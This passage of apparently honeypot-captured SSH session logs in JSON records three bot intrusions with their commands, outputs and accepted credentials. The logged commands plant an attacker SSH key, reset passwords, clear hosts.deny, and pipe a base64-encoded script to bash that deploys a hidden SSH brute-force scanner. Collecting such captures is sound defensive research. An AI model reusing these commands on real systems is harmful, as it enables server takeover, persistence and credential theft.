AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-22T01:32:38.909647+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-22T01:32:38.910254+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-22T01:32:39.647423+00:00","kind":"input","latency_ms":null,"data":"echo -e \"P@ssw0rd@123\\nAnNP6gSp1uBA\\nAnNP6gSp1uBA\"|passwd|bash"},{"seq":6,"at":"2026-08-22T01:32:40.380230+00:00","kind":"input","latency_ms":null,"data":"echo \"P@ssw0rd@123\\nAnNP6gSp1uBA\\nAnNP6gSp1uBA\\n\"|passwd"},{"seq":7,"at":"2026-08-22T01:32:41.116358+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-22T01:32:41.116823+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-22T01:32:41.853229+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-22T01:32:42.441275+00:00","kind":"output","latency_ms":587,"data":"15888 0 0 0 0 0"},{"seq":11,"at":"2026-08-22T01:32:43.180560+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-22T01:32:43.727513+00:00","kind":"output","latency_ms":548,"data":"-rwxr-xr-x 1 root root 133K Jan 24 2024 /usr/bin/ls"},{"seq":13,"at":"2026-08-22T01:32:44.464038+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-22T01:32:44.464343+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-22T01:32:45.200575+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-22T01:32:45.200913+00:00","kind":"output","latency_ms":null,"data":" 01:32:45 up 1 day, 22:22, 0 user, load average: 0.03, 0.04, 0.02\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-22T01:32:45.938023+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-22T01:32:45.938900+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-22T01:32:46.676855+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-22T01:32:46.677677+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-22T01:32:47.412892+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-22T01:32:47.413645+00:00","kind":"output","latency_ms":null,"data":"top - 01:32:47 up 1 day, 22:22, 0 user, load average: 0.03, 0.04, 0.02\nTasks: 114 total, 1 running, 113 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9056 free, 6831 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-22T01:32:48.150946+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-22T01:32:48.151599+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-22T01:32:48.891116+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-22T01:32:48.891738+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-22T01:32:49.626017+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-22T01:32:49.626645+00:00","kind":"output","latency_ms":null,"data":"server"},{"seq":29,"at":"2026-08-22T01:32:50.362970+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-22T01:32:51.096271+00:00","kind":"output","latency_ms":733,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModels: 1"},{"seq":31,"at":"2026-08-22T01:32:52.311341+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-22T01:32:52.751634+00:00","kind":"output","latency_ms":439,"data":"24G"},{"seq":33,"at":"2026-08-22T01:32:55.524212+00:00","kind":"input","latency_ms":null,"data":"echo \"server P@ssw0rd@123\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-22T01:32:56.257824+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-22T01:32:56.761023+00:00","kind":"output","latency_ms":502,"data":""},{"seq":36,"at":"2026-08-22T01:32:58.886889+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-22T01:32:59.369045+00:00","kind":"output","latency_ms":482,"data":"-cache-1a9f2b3c\n"},{"seq":38,"at":"2026-08-22T01:33:00.106475+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-22T01:33:00.597523+00:00","kind":"output","latency_ms":491,"data":"-cache-1a9f2b3c"},{"seq":40,"at":"2026-08-22T01:33:01.334405+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-22T01:33:02.069174+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-22T01:33:02.534580+00:00","kind":"output","latency_ms":464,"data":"-cache-1a9f2b3c"},{"seq":43,"at":"2026-08-22T01:33:03.271265+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-22T01:33:03.708590+00:00","kind":"output","latency_ms":435,"data":"-cache-1a9f2b3c"},{"seq":45,"at":"2026-08-22T01:33:33.268609+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-22T01:33:33.802277+00:00","kind":"output","latency_ms":537,"data":""}],"credentials":[{"username":"server","password":"P@ssw0rd@123","method":"password","accepted":true,"tier":"other"}]} {"id":"1717ccb8-2a3e-4918-a53f-737276bbee20","name":"lunar-indigo-jay","protocol":"ssh","channel_kind":"exec","src_ip":"136.248.121.226","src_port":51178,"username":"vpn","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":376,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-22T00:31:10.803275+00:00","ended_at":"2026-08-22T00:31:10.912877+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3385,"events":[{"seq":1,"at":"2026-08-22T00:30:40.531570+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-22T00:30:40.900665+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-22T00:30:46.187956+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-22T00:30:46.188671+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-22T00:30:46.564551+00:00","kind":"input","latency_ms":null,"data":"echo -e \"1234\\n8W4gA8I6wQBU\\n8W4gA8I6wQBU\"|passwd|bash"},{"seq":6,"at":"2026-08-22T00:30:46.937993+00:00","kind":"input","latency_ms":null,"data":"echo \"1234\\n8W4gA8I6wQBU\\n8W4gA8I6wQBU\\n\"|passwd"},{"seq":7,"at":"2026-08-22T00:30:47.312969+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-22T00:30:47.314256+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-22T00:30:47.691929+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-22T00:30:48.420543+00:00","kind":"output","latency_ms":728,"data":"15888 812 11888 0 2456 0"},{"seq":11,"at":"2026-08-22T00:30:48.797270+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-22T00:30:49.792838+00:00","kind":"output","latency_ms":993,"data":"-rwxr-xr-x 1 root root 148K Feb 14 2026 /usr/bin/ls"},{"seq":13,"at":"2026-08-22T00:30:50.168751+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-22T00:30:50.169406+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-22T00:30:50.544920+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-22T00:30:50.545582+00:00","kind":"output","latency_ms":null,"data":" 00:30:50 up 1 day, 21:20, 0 user, load average: 0.09, 0.07, 0.09\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-22T00:30:50.921052+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-22T00:30:50.922271+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-22T00:30:51.298283+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-22T00:30:51.299580+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-22T00:30:51.673969+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-22T00:30:51.674555+00:00","kind":"output","latency_ms":null,"data":"top - 00:30:51 up 1 day, 21:20, 0 user, load average: 0.09, 0.07, 0.09\nTasks: 123 total, 1 running, 122 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9215 free, 6672 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-22T00:30:52.050342+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-22T00:30:52.050856+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-22T00:30:52.425650+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-22T00:30:52.426433+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-22T00:30:52.803227+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-22T00:30:52.803805+00:00","kind":"output","latency_ms":null,"data":"vpn"},{"seq":29,"at":"2026-08-22T00:30:53.180686+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-22T00:30:54.195798+00:00","kind":"output","latency_ms":1013,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel: 1\nModel name: AMD EPYC 7713 64-Core Processor\nModel: 1"},{"seq":31,"at":"2026-08-22T00:30:54.571523+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-22T00:30:54.945263+00:00","kind":"output","latency_ms":372,"data":"24G"},{"seq":33,"at":"2026-08-22T00:30:56.238146+00:00","kind":"input","latency_ms":null,"data":"echo \"vpn 1234\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-22T00:30:56.613838+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-22T00:30:57.123426+00:00","kind":"output","latency_ms":507,"data":""},{"seq":36,"at":"2026-08-22T00:30:57.927379+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-22T00:30:58.742958+00:00","kind":"output","latency_ms":814,"data":"vpn 1234"},{"seq":38,"at":"2026-08-22T00:30:59.119784+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-22T00:30:59.710310+00:00","kind":"output","latency_ms":590,"data":"vpn 1234"},{"seq":40,"at":"2026-08-22T00:31:00.091633+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-22T00:31:00.462195+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-22T00:31:00.957259+00:00","kind":"output","latency_ms":493,"data":"vpn 1234"},{"seq":43,"at":"2026-08-22T00:31:01.338327+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-22T00:31:01.774842+00:00","kind":"output","latency_ms":434,"data":"vpn 1234"},{"seq":45,"at":"2026-08-22T00:31:02.149916+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-22T00:31:10.804804+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":47,"at":"2026-08-22T00:31:10.805373+00:00","kind":"output","latency_ms":null,"data":"vpn"}],"credentials":[{"username":"vpn","password":"1234","method":"password","accepted":true,"tier":"other"}]} {"id":"586c8448-b441-41be-a6a4-ce51a64e72cd","name":"crimson-frank-albatross","protocol":"ssh","channel_kind":"exec","src_ip":"210.79.142.230","src_port":56430,"username":"root","client_version":"SSH-2.0-libssh_0.11.1","auth_attempts":1,"automation":"bot","think_ms":740,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-21T22:44:40.988584+00:00","ended_at":"2026-08-21T22:44:41.220167+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3495,"events":[{"seq":1,"at":"2026-08-21T22:43:57.441928+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-21T22:43:58.179627+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-21T22:44:05.385768+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-21T22:44:05.386428+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-21T22:44:06.182815+00:00","kind":"input","latency_ms":null,"data":"echo \"root:qkXq5jktqR4M\"|chpasswd|bash"},{"seq":6,"at":"2026-08-21T22:44:06.922447+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-21T22:44:07.661524+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-21T22:44:07.662286+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-21T22:44:08.415942+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-21T22:44:09.368103+00:00","kind":"output","latency_ms":951,"data":"15888 1350 10532 0 4005 1311"},{"seq":11,"at":"2026-08-21T22:44:10.106679+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-21T22:44:11.038652+00:00","kind":"output","latency_ms":931,"data":"-rwxr-xr-x 1 root root 148K Jan 28 2026 /usr/bin/ls"},{"seq":13,"at":"2026-08-21T22:44:11.777452+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-21T22:44:11.778193+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-21T22:44:12.517506+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-21T22:44:12.518149+00:00","kind":"output","latency_ms":null,"data":" 22:44:12 up 1 day, 19:34, 0 user, load average: 0.09, 0.1, 0.07\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-21T22:44:13.255611+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-21T22:44:13.255954+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-21T22:44:13.997292+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-21T22:44:13.998072+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-21T22:44:14.750774+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-21T22:44:14.751432+00:00","kind":"output","latency_ms":null,"data":"top - 22:44:14 up 1 day, 19:34, 0 user, load average: 0.09, 0.1, 0.07\nTasks: 119 total, 1 running, 118 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6990 free, 8897 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-21T22:44:15.489142+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-21T22:44:15.489613+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-21T22:44:16.227491+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-21T22:44:16.228208+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-21T22:44:16.967762+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-21T22:44:16.968322+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-21T22:44:17.706201+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-21T22:44:18.371275+00:00","kind":"output","latency_ms":664,"data":"Model name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-21T22:44:19.121593+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-21T22:44:20.123775+00:00","kind":"output","latency_ms":1001,"data":"24G"},{"seq":33,"at":"2026-08-21T22:44:22.434522+00:00","kind":"input","latency_ms":null,"data":"echo \"root Test12345678\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-21T22:44:23.172084+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-21T22:44:24.472806+00:00","kind":"output","latency_ms":1300,"data":""},{"seq":36,"at":"2026-08-21T22:44:25.776320+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-21T22:44:26.457220+00:00","kind":"output","latency_ms":679,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":38,"at":"2026-08-21T22:44:27.196692+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-21T22:44:27.973282+00:00","kind":"output","latency_ms":775,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-21T22:44:28.711861+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-21T22:44:29.448786+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-21T22:44:30.119391+00:00","kind":"output","latency_ms":669,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":43,"at":"2026-08-21T22:44:30.859373+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-21T22:44:31.445487+00:00","kind":"output","latency_ms":582,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":45,"at":"2026-08-21T22:44:32.185356+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-21T22:44:32.791625+00:00","kind":"output","latency_ms":608,"data":""},{"seq":47,"at":"2026-08-21T22:44:40.989488+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-21T22:44:40.989902+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"Test12345678","method":"password","accepted":true,"tier":"other"}]} 